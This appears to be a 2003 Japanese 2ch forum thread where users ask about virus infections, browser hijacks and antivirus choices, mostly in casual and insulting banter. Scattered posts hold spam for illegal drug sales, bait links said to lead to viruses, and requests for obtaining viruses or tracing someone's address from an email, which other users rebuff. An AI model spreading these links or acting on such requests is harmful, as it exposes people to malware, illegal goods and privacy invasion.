↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓
http://www.pink-angel.jp/betu/linkvp2/linkvp.html

こんなメールきたよ

[email protected]

サ イ ケ デ リ ッ ク 天 国 〜 ゆ ら ゆ ら 〜
脳 味 噌 は 多 幸 感 で 満 ち 溢 れ ・・・。

http://yaku3.netfirms.com/
http://my.kid-d.com/yaku0/
http://members.fortunecity.co.uk/smoker/

【密売】【密売】【密売】【密売】【密売】【密売】

合 法 ド ラ ッ グ な ん か 、 も う
た る く て 　や っ て ら ん な い で し ょ
http://www.smoker.9cy.com/
http://yaku.ciudad.org/
http://book-i.net/yaku0/

【密売】【密売】【密売】【密売】【密売】【密売】

>>488
うちにも来た。Shift-JISで。

>>489
買ってみたよ

>>490
業者かよ氏ね

ウイルスをばら撒いてるのって、
ワクチンソフトの関係者だったりして。

基本的なハッキングのしかたを教えてください。

http://pc.2ch.net/hack/

>>492
散々言われてきていることだが

http://pc2.2ch.net/test/read.cgi/win/1048235672/l50
ここから誘導されてきました。
XPsp1を使用し、アップデートは頻繁におこなっています。

http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=TROJ_DELWIN.D
このTROJ DELWIN というウィルスを実行してしまったんですが、
実行後すぐにエラーが出て、その実行ファイルは停止したようです。
Sytemフォルダなどを調べて見ましたが、ファイルは普通に残っているようです。
ということは、XPはこのウィルスを弾いてくれたのでしょうか？
心配で再起動もできません。。

おそらくアンチウィルスソフトの誤作動だと思うのですが（そう思いたい）
不思議な現象が起こってて不気味なので教えてください。

ネット接続中、数分〜数時間何もしてない時間があったんです。
すると突然プチンという音と共に、ウィルス検出画面に切り替わり
VHPウィルス(？)が検出されたと出ました。
そのときは再起動して放っておいたのですが（エラーチェックがあった）
また、同じ状況で検出されてしまいました。。
原因のわかる方はいませんか？
ソフトはAntiVir Personal Edition(AVGuard)です。

どうやらＲｅｄｌｏｆ．ａに感染したようなんですが、どうしたらいいでしょう？

書き忘れてました。Ｗｉｎｄｏｗｓ９８です。

>>497
マルチすんな

>>498
アンチウィルスソフトが発見したのなら、
そのソフトのサイトで調べたか？

http://thko.com/passthrough/index.html?
再起動するとＩＥが↑にかわります。
このウィルスは何で
どうやって駆除すればいいのですか？

>>501はマルチ
放置よろ

　 ＿＿＿＿_
　　 ／::::::::::::::::::::::::::＼
　 /::::::::::::::::::::::::::::::::::::::＼
　 |:::::::::::::::::|＿|＿|＿|＿|
　 |;;;;;;;;;;ノ　　　＼,, ,,／ ヽ
　 |::（ 6　　ー─◎─◎　）　　　　　／￣￣￣￣￣￣￣￣￣￣
　 |ノ　　（∵∴　（ o o）∴）　 　　／ >>501はマルチ
／|　　　<　　∵　　 ３　∵>　 ＜
::::::＼　　ヽ　　　　　　　 ノ＼ 　　＼　　　　　放置よろ
:::::::::::::＼＿＿＿＿＿ノ:::::::::::＼　　＼＿＿＿＿＿＿＿＿＿＿＿

＿＿＿＿_
　　 ／::::::::::::::::::::::::::＼
　 /::::::::::::::::::::::::::::::::::::::＼
　 |:::::::::::::::::|＿|＿|＿|＿|
　 |;;;;;;;;;;ノ　　　＼,, ,,／ ヽ
　 |::（ 6　　ー─◎─◎　）　　　　　／￣￣￣￣￣￣￣￣￣￣
　 |ノ　　（∵∴　（ o o）∴）　 　　／ >>ムホッ　ムホッ
／|　　　<　　∵　　 ３　∵>　 ＜マルチハケーン！放置しる！
::::::＼　　ヽ　　　　　　　 ノ＼ 　　＼　　　　ヴァカ共には参るゼまったく
:::::::::::::＼＿＿＿＿＿ノ:::::::::::＼　　＼＿＿＿＿＿＿＿＿＿＿＿

age

age

　　 　 ∧＿∧∩　／￣￣￣￣￣￣￣￣￣￣￣
　　　 （　´∀｀）/＜先生！こんなのがありました！
　＿ / /　　 /　　　＼＿＿＿＿＿＿＿＿＿＿＿
＼⊂ノ￣￣￣￣＼
　||＼　　　　　　　　＼
　||＼||￣￣￣￣￣||
　||　 ||￣￣￣￣￣||
http://saitama.gasuki.com/saitama/

　　　　 ＿＿＿＿_
　　 ／::::::::::::::::::::::::::＼
　 /::::::::::::::::::::::::::::::::::::::＼
　 |:::::::::::::::::|＿|＿|＿|＿|
　 |;;;;;;;;;;ノ　　　＼,, ,,／ ヽ
　 |::（ 6　　ー─◎─◎　）　　　　　／￣￣￣￣￣￣￣￣￣￣
　 |ノ　　（∵∴　（ o o）∴）　 　　／このウィルスは何で
／|　　　<　　∵　　 ３　∵>　 ＜ どうやって駆除すればいいのですか？
::::::＼　　ヽ　　　　　　　 ノ＼ 　　＼　おしえろよクズども
:::::::::::::＼＿＿＿＿＿ノ:::::::::::＼　　＼＿＿＿＿＿＿＿＿＿＿＿

>>508
マルチ厨必死だな。もうちょっと大人になりましょうね

>>509
マルチ厨のせいでスレが荒れております。
悪化するのでなるべく煽るんじゃねえよボケ！！

ていうかマルチ厨ってどっち？
「マルチした奴は懲罰的に無視」って思ってる方でしょ？

初心者板、もしくは厨房板へどーぞ

荒れてると思ったらずっと前から荒れてたのね。よく9まで続いたな。

>>473
　遅れすだけど、どうせ、こいつはネカマだな。春休み入りたての厨房が家族のパソコンでエロサイト巡回したんだろな。
俺も昔、その罠にはまって、リア厨の俺はホントあせったよ。
できるインターネット呼んで直ったけど・・・。
しっかり、ダイヤルアップ先が変わってて２万円とられてたんだよね・・・・。
なつかしい・・。

次の質問・情報どうぞ。
　↓　↓　↓

http://www.kogalu.com/sou/logon/omanko.htmってところに好奇心ではいったら、
ホームが強制的に↑になっちゃうんですが、だれか直し方わかりますか？

>>516
エロサイト見たら・・・助けてください！Part11
http://pc2.2ch.net/test/read.cgi/pcqa/1047359426/

>>517さんありがとうございます！

Norton AntiVirusとNorton Internet Securityって何が違うんだろう････

あげてしもたスマソ(-_-; )ゞ

あぅあ・・・しかも誤爆。逝ってきます

1月くらいに韓国でネット障害とか起こしたウイルス
ってなんて名前だっけ？

>>522
SQLExp(SQLP,Slammer,1434番ポート)スレッド 1
http://pc.2ch.net/test/read.cgi/sec/1043525470/

age

same

○○○○　こんな電波はありませんか？　○○○○

荒らしなどのコピペで、厨房、工房、消防、
このような人たちをコピペで煽りを行えるコピペは無いでしょうか。
出来れば制限時間内に5レスくらい返ってくる、みたいな含蓄のあるもの。
出来ればレベルの高いものをお願いします。
荒らしと書きましたが、形式は全く問わないです。
著作権、版権も問わないです。

お願いします。

>>526
どっか逝け。

>>526
ｼｮﾚﾀﾞ！

age

JS_KOWAIAなるものに感染しました。
一応駆除しましたが、なにか影響があるでしょうか？
どうか教えてください。

>>530
検出したウィルス対策製品のサイトで情報を得るのが基本。
検出名が分かっているなら、検索すれば済むこと。

それがデータベースになかったんです

じゃ、どうしてJS_KOWAIAだと分かるのか。
何で検出したのか、感染経路は、OS等環境は？
情報の小出しは(ry

(´-`).｡oO(この手の質問って、詳細を突っ込まれると居なくなっちゃうね。何が目的の質問なんだろう…)

感染したんじゃなくて、それで何かをしようとしていると思われ。

>>535
なるほど・・・・

>>534
初心者には詳細に出てきた単語の意味すら分からないからでしょ。
んもぅ・・そんなこと分かってて見下して楽しんでるくせに！ｗ

>>537
糸のない釣りはできない。

W32.HLLW.Lovgate.G@mm
http://www.symantec.com/region/jp/sarcj/data/w/[email protected]
http://securityresponse.symantec.com/avcenter/venc/data/[email protected]
Backdoor.OptixPro.12.b
http://securityresponse.symantec.com/avcenter/venc/data/backdoor.optixpro.12.b.html

age

トロイを発見したんですよ。オンラインスキャンで。
そしたらどうすればいいんでしょうか？普通に削除
すれば解決するのでしょうか？

http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=TROJ_DELWIN.D
これに引っかかったんですけど、再インストールしか
対処方法はないのでしょうか・・・？

だれかウィルスを入手できる方法おしえてけれ

>>542
MXばっか、やってんな。ハゲ。残念ながらてめーのHDDはご臨終だ。ざまぁねぇな。

ウィルス対策にアンチウィルスソフトを入れるか、それともNTTのフレッツ・セーフティを導入するか迷っています。
皆さんのアドバイスを聞かせていただけないでしょうか？

http://flets.com/safety/

ピュアＡＵ板をうろついていて踏んだＵＲＬでノートンが反応、警告のウインドが開きました。
ウィルス名　EICAR Test Stringです。シマンテックのページで検索したのですが、対処方法が見つかりません。
（別の所で調べたら古いタイプ？）どのように駆除したらよいでしょうか？
ちなみにそのウィルスのＵＲＬは　ttp://www.eicar.org/download/eicar.com.txt　です。
どなたかお願いします。

>>546
釣りはやめてね。
もしほんとに釣りでないのならEICARでググってね。

>５４７
すいません。当方初心者の為、本当にわかりませんでした。
検索エンジンで調べたら、ウィルスチェッカーを試すものだとわかりました。
そういう擬似ウィルスがあるとはしらなかったもので。シマンテックに載ってないしパニくってしまって。お騒がせしました。

>>545
WAN経由ならフレッツ・セーフティで防げるが、
フロッピーやCD/DVD/MO等で他人からもらったファイルがウィルスに感染していた場合
アンチウィルスソフト常駐なら反応するけど、フレッツ・セーフティだと防げないね。
WordやExcelのファイルのやりとりで感染することも多い。
そのあたりを自分で考えて決めてくらはい。

>>549
なるほど！ウィルスはネットだけからじゃないですよね
う〜む、危ないところだった。ソフトを入れることにします
ありがとうございました

おまいら、>>539 の Lovgateって、はやってませんか？
Sex in Office.rm.exe とか、いい名前ですねぇ。

あげ

age

>>545
結局ウイルス対策ソフトのほうが、安くすまないか?

>>554
結局これを買うかレンタルする必要があるんでしょ。
http://www.ntt-east.co.jp/ced/goods/gatelock/

>>555
結局メールの添付ファイルしか検知されないよね。
ファイヤーウオールは設定だけ間違えなければ、
ソフトでも十分対応できるよね。
ただ、NT系のOSじゃないと設定の仕方によっては、
アクセスが集中したときにフリーズするかも!!

http://jsweb.muvc.net/index.html
★☆★☆★☆★☆★☆★☆★☆★☆

すいません　ド素人に助言をください

ウイルスバスター　か　ノートン　どっちを買うか迷ってます

くわしい方の　意見を　聞かしてください。
　

>>558
このあたり読んで自分で判断しろ。
【2003対決】バスターVSノートン ウイルス2個目
http://pc.2ch.net/test/read.cgi/sec/1041333463/
バスターＶＳノートン
http://pc.2ch.net/test/read.cgi/sec/1005050509/
【ノートン】ｲﾝﾀｰﾈｯﾄｾｷｭﾘﾃｨ Ver.21【2003】
http://pc.2ch.net/test/read.cgi/sec/1048433756/l50
【不具合】ウイルスバスター2003Part８【未解決】
http://pc.2ch.net/test/read.cgi/sec/1047794591/l50

age

はじめまして。
最近ウイルス感染してしまった初心者です。
ウイルス名は「BKDR_DELODER.A」です。

事の顛末ですが、普段はウイルスバスター2003を常駐していましたが、win2000をリカバリーしてアップデートする際、DLの効率を高めるために敢えて外して行いました。アップデート終了後にバスターをインストールした際、感染が発覚しました。

バスターで駆除出来なかったため、同ソフトにて隔離・削除しましたが、それでも怖かったためもう一度リカバリーを行いました。
今度はバスターをインストールした後でアップデートを行いました。

皆さんに質問なんですが、現況で心配することはないのでしょうか？
またハッキングされてウイルスが送り込まれる可能性はあるのでしょうか？
対応法等ありましたら、是非教えて頂きたいのです。
バスターのファイアーウォールログを見たら、約２分刻みでログが増えているのでとても心配しています。

被害ですが、確認しているのはメールデータが紛失してしまった事です。
それとマイコンピュータから各ドライブの共有設定を「共有しない」に設定しても、再起動後には「共有する」に戻ってしまうことです（仕様かも
しれませんが）。
他にも被害があるかもしれませんが、私が分かる範囲ではこれだけです。

システムですが、ｃドライブに98でｄドライブにデータ、eドライブに2000をインストールしていて、ほとんど（ネット接続は全て）2000を使用しています。
リカバリーを行ったのは2000のみで、98は行っていません。
ADSL（yahoo.BB）接続で、ルーターは取り付けていません。
ファイアーウォールソフトはバスター2003とリカバリー後にゾーンアラームをインストールしました。

初心者で長文になり誠に恐縮なんですが、皆さん宜しくお願い致します。

>>561
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=BKDR_DELODER.A
http://www.symantec.com/region/jp/sarcj/data/w/w32.hllw.deloder.html
http://www.nai.com/japan/virusinfo/virD.asp?v=W32/Deloder.worm

>>562さん

ありがとうございます。
でもすいません、それは既に確認済みなんです＾＾；
当然感染直後に駆け込みましたよ＾＾；

確かに隔離・駆除は出来ましたが、その後の設定というか
対処法が知りたかったのです（上記の質問を含めて）。

宜しくお願いします。

■NGワード

・質問時に使用するのは好ましくない言葉。

「初心者」
免罪符にはならない。「初心者」であることを理由にしないのならば許容範囲。
「初心者」なりにでも節度を持った行動はできるはず。

「初歩的」
そういう自覚があるのならもう少し自分で情報を集めたり試してみて欲しい。
うわべだけ丁寧に「動きません」「分かりません」とだけ言われても答えようが無い。

「探しているのですが見つかりません」
それは探し方が足りないか、下手なのか…。
それにしてもなぜそれが存在しているのを知っているのだろう？
友達から聞いたのかは知らないが、その情報を得たところに尋ねるのが一番。
そうでなければ、無いと考えるのが妥当。

「それくらいのことは分かってます」
あなたが詳しい状況を書いていないのだから、可能性があるものを挙げたのだろう。
まず自分の説明不足を理解するべき。
回答者も行間を読む必要は無い。逆に質問文に質問しよう。逆切れされない程度にな！

「誰も分からないのですか？」
そうです。あなたの質問は理解できません。

はじめてではないのに「はじめまして」？
「いつもお世話になっております」仕事なの？
「様」付けするのはいかがなものか。そんなに卑屈にならなくても…。
「Ａｌｐｈａｂｅｔ（アルファベット）全角主義」は見にくい。

ttp://www5e.biglobe.ne.jp/~sdp/software/oshietekun.html

>>564
なるほろー

>>551
これで騒いでるのって、うちの会社だけですか
恥ずかしいのでsage

>>566.
がんがれ。社内のミスを社外に出さないのがプロだ。
社内で騒いでも、それで解決できたのなら何も気にしない方が良いと思う。
次に、同じ過ちを繰り返さないようにさえすれば。
私も他にはいえない恥ずかしい失態なら何度か目にしてるからｗ
ただ、これで大騒ぎするのはどうかと、、、
少し気をつけないと亜種が出たときに対応できないと大変なことになるよ。
今回のは拡散ワームの単調なやつだから良いけど、、、。

age

質問です。
http://thebbs.jp/hack/1038560618.html
ここの掲示板を開いたらウイルス警告がでました。
しかしウイルスには感染してないみたいです。
ソースのぞこうと思ったら見れませんでした。
どのような仕組みになてるのかわかる方いますか？

http://homepage3.nifty.com/digikei/sample/sample.html

>>569
この板では鑑定はやらない。
勇気がなくて見られない画像解説スレpart323http://ex.2ch.net/test/read.cgi/entrance/1048763717/l50へ。

ソースにウィルスのスクリプトが書かれているため、アンチウィルスソフトが
遮断しているので見られないと思われる。見たけりゃアンチウィルスソフトを
停止させて自己責任でどうぞ。そういうURIを直リンで書き込むのは見識を疑う。
http://www.symantec.com/region/jp/sarcj/data/v/vbs.network.e.html
掲示板の仕様によっては誤反応の可能性もある。
http://pc2.2ch.net/test/read.cgi/pcqa/1033948204/

>>561
管理共有。
http://www.microsoft.com/japan/enable/training/kblight/T005/8/18.htm
http://www.ipa.go.jp/security/fy10/contents/crack/research/windows2k/2-18.htm
http://support.microsoft.com/default.aspx?scid=kb;ja;314984

おまけ1 - リモートレジストリ
http://www.microsoft.com/japan/technet/security/tools/chklist/w2kprocl.asp
http://www.atmarkit.co.jp/fwin2k/operation/iissecurity/iissecurity_05.html

おまけその2 - 匿名ユーザー（2だとブラウジングのマスタブラウザになれなくなるんで注意）
http://www.ipa.go.jp/security/fy10/contents/crack/research/windowsnt/19.htm
http://support.microsoft.com/default.aspx?scid=kb;ja;JP246261

おまけその3 - Port445関連
http://itpro.nikkeibp.co.jp/members/NBY/techsquare/20021129/3/

age

age

>>572
ありがとうございます＾＾

早速拝見したところ、正直勉強不足なためか読解力がないのか、理解出来ない
点も多々あります＾＾；
が、これだけ多くの情報を提示して頂いた>>572さんの行為を無駄にしないため
にも、そして自分自身を今後守っていくためにも勉強して理解していく努力を
していこうと思います。

本当にありがとうございました＾＾

当方のOS、窓XP家版使用。
買ってきたVAIOをネットに繋げて数日でXPにかかる筈のない
ウイルスW95.spacesに汚染されてしまいました。
各種ウイルス退治系の会社HPを調べた結果XPには被害が無い
そうなのですが、買って直ぐだからなんか気持ち悪いです。
DOS環境があるOSじゃないから根絶やしに駆除できないんだよね。

何か方法があったら駆除を教えてください。

>>576
>>1

http://www.domo2.net/bbs/image/1045173790.gif
最新のウイルス発見！　踏んでみろって！

　　_, ._
（　ﾟ Дﾟ)　　・・・

>>567
>がんがれ。
ありがﾄﾝ。ちょろりとは社外に出てしまったようではあるんですが...。
それはともかく、うちの＊＊＊部はこんなんある度に過剰反応、
しかもちょっとピントがずれてる事が多くて、一般社員にかえって
迷惑を掛けてるとしか思えない...　ウィルス以上に困ったもんです。
ほんとに恥ずかしいのでさげ

ここは日記ですね

●質問したこと以外のツッコミがうざいんだけど。
とりあえずものを尋ねるだけのうちは「はい」と言って従っておくのが
吉だ。まだ君には反論できるだけの知識がないのだから。

●ショシンシャがうざいんですけど。
みんなはじめは初心者だ。わかることなら答えてくれ。
ただし「お人好しの回答者は馬鹿をつけあがらせる」ことをお忘れなく

ウィルスが簡単に手にはいる方法あるそうだがおしえてくれ。

板のトップ読んで帰れ。

age

質問です。
同じ日にウイルスメールが１０通近く送られて来ました。
アドレスを偽るタイプのウイルスらしく、OEの「差出人」の
所に表示されている名前は全て違いました。
メールヘッダーの「Received」の部分に表示されている
ドメインとIPは全て同じでした。これは一人の人から送られて
来ていると判断して良いのでしょうか？　この部分まで偽る
ウイルスってあるのでしょうか？

それを聞いてどうするつもりやら

最近ＲＥＤＬＯＦが盛り返してきたね。一時期治まりつつあったかと思いきや。

>>581
てゆーか、社内でちょっとした祭りになっているので、
どんなものかと思ってここに来てみたんですが、
全然はやってないってことですね。了解しました。
スレ汚しさげ。

>587
あまり見ないドメインだったので、アドレス張の中で
そのドメインを持っている人に、「万が一ということも
あるのでウイルスチェックしてもらえませんか？」と
メールを出そうと思ったんですが。
３週間毎日くらい続いてるんですよ。ウイルスメール。

質問です。
Googleのページの文字が全部「□□□・・・」と表示されます。
ウイルスかと思ってTrend Micro に行ってみたら同じ用にほと
んどの文字が□になっていました。
今のところ３箇所でこのような症状が表れました。
画面のスクロールもおかしくなったりします。
これってウイルスなんでしょうか？

>>586 いいと思われ。一応ISPとかも調べておいて
しつこくくるようだったらISPに報告とかね。

>592
ありがとうございます。助かりました。
って言ってるうちにまた来ました……。
急いで対策を講じます。
本当にありがとうございました。

知らない人から添付ファイル付きのメールが送られてきて、
そのまま、メールを開かないように削除したいんですけど、
（ホットメールの受信トレイのページでです）
チェックを入れて、削除を押せば、メールを開かないまま削除できるのでしょうか？
どなたか教えてください。
宜しくお願いします。

>>594
自分宛にテストメール送って、それで試してみりゃいいんではないのかよーこよこはまよこすか

>>595
そっか！ありがとうございます！
早速やってみました。
開かないまま削除できたのでめでたしめでたしでした！
なんだか怖くて落ち着かなかったので助かりました！

★みんなの情報局★みんなのリンク集★ココ最高★
↓　↓　↓　↓　↓　↓　↓　↓　↓　↓　↓　↓
http://www.pink-angel.jp/betu/linkvp2/linkvp.html

解決しました。

age

>>598
原因は何だったの？

age

>>600
ウインドウズのフォントキャッシュが壊れただけでした。

>>229とほぼ同じ状況に陥り、ネットで調べたり
ここを見た結果BKDR_DELODER.Aだろうという事がわかりました。
長くなってしまいますがご勘弁を。
一応フリーのファイヤーウォールoutpostを入れてて情報は外部には漏れてないと思います。（自信はあまりないかも）
OSは2000SP3　IE6　CATVです。

http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=BKDR_DELODER.A
を見て対処しました（したつもりです）

で、収まったかと思ったら、>>229のようにまた現れました。
で、また同じように対処しました。それから数日たった今は何もありません。

で、今日友人がヤフーBBに開通しました。
んで、早速ヤフーメッセンジャーで話をしして
とりあえずwindows updateしとこうということになり、彼はまずIE6をダウンして再起動して戻ってきました。
すると再起動したあとに
WinVNC:Current User Properties
というダイアログが出たそうなんです。
で、調べたところ彼も感染してたようです。

彼がネットに繋いでからしたことは
yahooへ行く
↓
vectorへいってVBランタイムを落としてインスト
↓
http://www.studio-radish.com/tea/netspeed/で速度測定
↓
FF11のベンチマークプログラムを落とす
↓
自分とメッセンジャーで話す
↓
ファイルを転送しようとするが向こうがファイヤーウォールの中にいるためかできない
↓
自分がhttpd(1.42h)でwebサーバーたててそこからDLしてもらう
↓
IE6をダウンして再起動

です。
ちなみにhttpdによるサーバはいつも立てている訳ではありません。
友人にファイルを送る手段してごく一時的に使います。
このときoutpostの設定はhttpdの通信はすべて許可、にしていました。

これは自分がウィルスに感染したままだった為だと思うのですが、
どうすれば消えてくれるのでしょうか？上のURLの通りにやったつもりで、
消えているように見えるのですが････

あ、彼のOSも2000で、インストしたばかりです。
ネットに繋いでアプデトした矢先のことでした。

Winタスクマネージャーのプロセスを見てみるとsvchost.exeが5個も動いているのですが、
これはやはりおかしいですよね？ユーザーはSYSTEMで3つ、NETWORK SERVICEとLOCAL SERVICEでひとつずつです。

メールアドレスから住所、電話番号割り出したいのですが。

何卒何卒お願いします。緊急です。
本当に申し訳ないのですがお願いします。

>>603
設定不良のパソがPersonal Fire Wallで保護されていたのに、それを外したから感染したかと。
うぃ。
http://pc.2ch.net/test/read.cgi/sec/1045816526/572

>>606
Svchostって「Service Host」。他のサービスを起動させるためのホストプロセス。
Te-TecnorogyってHPに良解説があったけど、閉鎖されてまったのねん。

http://homepage2.nifty.com/winfaq/wxp/network.html#1326
http://support.microsoft.com/default.aspx?scid=kb;JA;q250320
http://support.microsoft.com/default.aspx?scid=kb;en-us;Q314056
http://homepage2.nifty.com/winfaq/wxp/trouble.html#1016

もちろん、Svchost.exeってファイルを作成しるウイルスもあります。

>>607
お前のメアドと住所と電話番号を晒してごらん。

少し前の話だけど
知人のアドレスでKLEZのファイル付きメールが来て
知らずにダウンロードして感染してしまった。
でもその知人の所にも、知人が今までメールをやり取りした人にも
誰１人ウイルスメール（感染後に自動的にばら撒かれる感染メール）
が来てないらしい。
なんかこれ変じゃないですか？もしかして知人が？と
疑ってしまったらマズイですかね？
しばらくして、掲示板で言われもない中傷受けたし。

http://www.agemasukudasai.com/bloom/

trickler_4010.ex_ってファイルあったんですけど。
これはヤバいんでしょうか？

こういう人にどう対処したらよいでしょう？

http://hpcgi3.nifty.com/yasuoka/ff10-2_no1/wforum.cgi?no=1228&reno=1226&oya=466&mode=msgview&page=30

>>613
この板では鑑定はやらないし、ファイル名だけで危険かどうか分かりません。
http://ex.2ch.net/test/read.cgi/entrance/1049084572/l50か、
ﾀﾞｳｿ板http://tmp.2ch.net/download/へ。

>>614
マルチポスト、荒らし依頼。氏ね。
http://pc.2ch.net/test/read.cgi/sec/1000252846/114

age

すげ〜
http://homepage3.nifty.com/digikei/sample/sample.html

Redlof.Aってやばいですか？

>>618
検索&過去ログ参照

おまえら全員死ね

VBS_REDLOF.Aとやらのウィルスにやられまくってる。
ファイルを開いてもまっしろや。　検索したらでるんやけど；
ウィルスバスターとか系で駆除できまつ？

>>621
ttp://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=VBS_REDLOF.A

レジストリエディタ？？？

>>623
レジストリ・・・

最近１４０KB前後のやたら重いメールが来るんですが、これって何ですか？
添付ファイルは無いです。題名はどれも英文です。
一度、ケータイからそれを空けたら中身真っ白でした。
教えて下さい。
一日に５件以上入ってきて困ってます。

>>625
＞ウィルスに関わる話題・質問はこちらに
＞ウィルスかどうかはウィルススキャンして判断してください。

>>625
ヘッダが140KBのメールとか

age

これウィルスかどうか分からないんだけど、
パソコン起動したらデスクトップの左下に
必ず小さいxxxsexって書かれたタイトルバー
だけのウィンドウが出ます。

で、IE6を起動すると 必ずロリータリンクページ
が出て、ホームぺージ の設定を消去しても、
次の起動にはまた必ず ロリータページが
ホームページになってます。

で、偶にlovesexっていう ページが出て、変な二つの
プログラムをダウンロード しろと出ます。

で、あるページにリンクすると、３回に一回の割合で
変なサーチエンジンの ページに飛びます。

一体何なのでしょうかね？

毎回起動時にAVGから警告で
virus
Trojan horse MusicSearch
と表示されますが
スキャンにかけても何も反応しません。
オンラインスキャンも無反応でした。
OSはXPでWindowsUPDATEは最新です。
見つかる場所は
E:\Documents and Settings\Administrator\Local Settings\Temp
で、実行ファイルなのですがそのようなファイルは隠しファイルにすらありませんでした。

海外では似た事例が起きているようですが
検索しても今ひとつ解決策が見つかりません。
どうか助けて下さい。

トロイって画像等をダウンロードしただけで感染しますか？
それとも実行しなければ問題ないですか？
ブラクラ（グロ）間違ってＤＬしちゃったんです。

すみません、お力をお借りします。当方WinMe/IE6/ｳｨﾙｽﾊﾞｽﾀｰです。
tp://www.geocities.co.jp/Bookend-Yasunari/8114/niki.txt
上のアドレスを踏んでしまい、妙なテキストファイルが出てきました。
鑑定スレでは

764 名前：弱気 ◆4eElder1FQ 投稿日：03/04/02 21:12 ID:???
>>752
これは、ｔｘｔは擬装で、本当はｚｉｐファイルです。
ただし、解凍しても出てくるのはウイルスですから、解凍しない方が良いでしょぅ。
イキストファイルだと思って踏んでいるのであれば、ウイルスに感染する事はありません。

と聞き、急いで全ドライブスキャンを実行しました。
結果、「ZK_900-C」と「___」というふたつのファイルが検出され、駆除されたと出ました。
検出場所はどちらもｲﾝﾀｰﾈｯﾄﾃﾝﾎﾟﾗﾘﾌｫﾙﾀﾞ内で、念のためスキャンが終わったあと
キャッシュクリアもしましたが、一つフォルダが残っているようなのです。
また、「ZK_900-C」の方は「chopin\CHOPIN.COM」という よくわからないドライブ名が検索ログに残っています。

107 名前：弱気 ◆4eElder1FQ 投稿日：03/04/02 22:06 ID:???
>>106
NPox900というウイルスだと、ノートンアンチウイルスは警告しました。

と聞いたのでトレンドマイクロ、シマンテックのウィルスデータベースで「ZK_900-C」「NPox900」双方を検索しましたが
情報はヒットせず、不安でたまりません。

110 名前：弱気 ◆4eElder1FQ 投稿日：03/04/02 22:11 ID:???
>>109
申し訳ありませんが、ウイルスについては当方はくわしくないので分かりません。

という事なのでそれ以上立ち入った事を聞くわけにもいかず、こちらに力を借りに来ました。

質問したいことは
・「ZK_900-C」「NPox900」というのはどんなウィルスなのか
・フォルダが残ってる理由（推測でいいです）
・この状況で安心していて大丈夫なのか
・「chopin\CHOPIN.COM」というドライブ名について
以上です。よろしくお願いします。長くなってしまいすみませんでした。

先にぼるじょあスレに行ったら「ここはネタスレですから」ということで
こちらに来ました。ごめんなさい…

質問はageで。

>>632-634
さっき質問したぼるじょあスレでちょっとレスついてたよ
マルチっていえばマルチだけど、ちゃんと誘導されてるし
まぁいいかなと思う、しかもぼるじょあだし･･･

ぼるじょあ（・３・）質問箱 セキュ板出張所3
http://pc.2ch.net/test/read.cgi/sec/1046969359/893

トレンドマイクロのオンラインスキャンでもしてみればどうかな？
>>1からちょっと読んでみてちょ

>>636
わかりました…再びごめんなさい。

>>637
これじゃない？
ttp://www.nai.com/japan/virusinfo/virNdos.asp?v=NPox
ttp://www.nai.com/japan/virusinfo/virXYZdos.asp?v=ZK900

あ、ごめん
>>636のスレで既出みたいだね

age

age

W32.HLLW.Cult.C@mm
http://securityresponse.symantec.com/avcenter/venc/data/[email protected]
W32.HLLW.Cult.B@mm
http://www.symantec.com/region/jp/sarcj/data/w/[email protected]

Attacked port 25 smtp 上昇中
http://isc.incidents.org/

はじめまして。
９８を使ってるんですが、最近ネットをして数時間経つと
ページが表示できなくなります。
バスターに反応なし、spybot等で怪しいものを削除もしてみました。
それでもやはり、同じ現象が起きるんです。
で、今気づいたんですがスタートメニューのお気に入りファイルに
青い米印のようなマークがついてるんです…あと終了のパソマークの画面にも…
これってウイルスなんでしょうか？
もう頻繁にフリーズしたり、ビジー状態のエラーがでるので
換え時かとは思うんですが、諸事情により今はまだこのまま使用するつもりです。
何か対策等ありましたらよろしくお願いします。
長文失礼しました。

ぼるじょあさんのとこにいったんですけど、マジレス希望はこちらへとの
ことでしたので、お伺いしました。

>>644
マルチ氏ね。

チャットをしてるとよく荒らしがきてあらしていくんですが・・・
なんかタグを使ってるらしくていっつPCが逝きます。
どなたかそんな攻撃を無効にする方法しりませんか？
あったら是非教えてください、お願いします。
ちなみにPCはWindowsです。

（ ・3・）ｵﾖﾖ 　まるてぃはしちゃいけないんですYO

>>644
アンチウィルスソフトやスパイウェア検知ソフトで見つからなければ、
PCの不調の可能性が高い。
板違いだが、必要なファイルのバックアップをとって
クリーンインストールをお勧めする。

>>644
リソース教えれ
>>646
チャットを管理してる管理人に言った方が早い。

>>646マルチにつき放置願います。
http://pc.2ch.net/test/read.cgi/sec/1047648810/575

>>649
リソースってシステムリソースってやつですか？
今調べたら、４８％の空きとなってました。

>>648
やっぱりそうですよね…ただ仕事で使用しているものなので
ちょっと躊躇してます（インストやったことないので）

>>647
マルチすいませんでした

スイマセン。質問です。
友達から添付ファイル付きの変なメールが着てると言われたので
アドレスを教えてもらったら、自分の会社のアドレスでした。
会社で送信済みフォルダを調べたところそんな形跡はありませんでした。
そして添付ファイルは２ちゃんのとあるスレでＨＴＭＬ形式でした。
しかも、会社には友達のメアドは登録してませんし、２ちゃんは見れないのです。
これは一体どういう事なのでしょうか？
申し訳ありませんが分かる方、教えてください。

>>651
48か…やっぱりクリーンインストールの方が早い。
↓あぶりだし

>>652
いまどきこんな認識のﾔｼがまだ居るんだなぁ…
・ウィルスは差出人を偽装することがある。
http://www.nai.com/japan/virusinfo/viruscartoon.asp?ViruGazoMokujiNo=2
・ウィルスはメーラを使わずに独自のSMTPを使うことが多いので、
メーラに送信ログは残らない。
・ウィルスは感染者のHDDから適当なファイルを添付して送ることがある。

何というウィルスか分からないと、抽象的に答えることしかできない。
アンチウィルスソフト常駐させとけよ。

>>652はここも読んどく。
コンピュータウイルス関連 FAQ
http://www.ipa.go.jp/security/virus/faq/qa_top.html

「ウイルスに狙われるファイル共有サービス，設定を見直せ」――IPAが警告
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20030403/1/

みなさん。レスありがとうございます。
自分があまりにも無知でした。
セキュリティソフト購入します。

ノートンのアンチウィルスとインターネットセキュリティ
のどちらかの購入を考えてまが、迷います。
やはりインターネットセキュリティを買った方が無難で
しょうか？

質問ばっかでスイマセン。

